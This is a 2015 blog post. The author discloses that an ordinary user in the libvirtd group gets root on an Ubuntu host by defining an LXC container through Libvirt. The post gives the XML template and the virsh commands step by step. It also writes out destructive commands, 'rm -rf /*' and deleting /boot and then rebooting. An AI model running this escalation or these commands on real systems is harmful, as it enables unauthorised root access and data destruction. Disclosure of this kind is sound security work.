Linux Container Madness

(…or How I Got Root in Less than 5 Minutes)

Update: This has nothing to do with Docker. My mistake - the concern is between LXC and Libvirt. Thanks to Wes Felter for pointing this out in the comments.

I’m unsure if this is actually a vulnerability or just a usability problem with the normal behaviour of LXC/Libvirt. Nevertheless, this seemingly harmless template file seems to cause A LOT of worry, as it allowed me to elevate privileges on the host system from an ordinary user account. I imagine new users of containers, like myself, should be more concerned about how safe these defaults really are.

If you want to try this out, then here is the preamble if you are running a Debian-based Linux. In this case I am running Ubuntu 14.04.1.

admin@host:~$ sudo apt-get install docker virt-manager

Create an unprivileged user, but with access to the libvirtd group:

admin@host:~$ sudo useradd -G libvirtd user 
admin@host:~$ sudo passwd user 

Now you should login as the ordinary user. Save the following XML template, which contains a name, a memory limit, console access and a shell. E.g. at /tmp/container.xml

<domain type='lxc'>
	<name>test</name>
	<memory>102400</memory>
	<os>
		<type>exe</type>
		<init>/bin/sh</init>
	</os>
	<devices>
		<console type='pty'/>
	</devices>
</domain>

Import the template into Libvirt:

user@host:~$ virsh define container.xml

Start the container. Make sure you have the Libvirt environment variable exported to work with LXC (e.g. LIBVIRT_DEFAULT_URI=lxc:///), such that Libvirt doesn’t go looking for Xen or KVM.

user@host:~$ export LIBVIRT_DEFAULT_URI=lxc:///
user@host:~$ virsh start test
user@host:~$ virsh console test

And now try to run the bash shell:

  Connected to domain test
  Escape character is ^]
  
# bash
  bash: groups: command not found
  /bin/lesspipe: 1: /bin/lesspipe: basename: not found
  /bin/lesspipe: 1: /bin/lesspipe: dirname: not found
  /bin/lesspipe: 295: [: =: unexpected operator
  Command 'dircolors' is available in '/usr/bin/dircolors'
  The command could not be located because '/usr/bin' is not included in the PATH environment variable.
  dircolors: command not found
root@host:/# 

Huh? You now have root on the host. Without any prompt for a superuser password. What kind of messed up world is this? I can read/write to any file on the host:

Provide devastation:

root@host:/# rm -rf /*

Or alternatively just cause a bit of downtime:

root@host:/# rm /boot/*; reboot;

You can access a lot of the system programs in /bin, but it’s trivial to add yourself to the sudoers group instead. Is it possible to be careful with LXC? It doesn’t seem safe for mortals and is hardly encouraging. Like what Dan Walsh said in a recent article, it seems that “containers do not contain”. At least not without a lot of experience and carefully crafted configs. It would be a shame if such obscure semantics will let down the overall usability of the platform.

Thoughts are welcomed. Especially from LXC magicians - what are the semantics behind this configuration file? Privileges by default? My user had no superuser access…I expect them to remain that way.

Written on January 9, 2015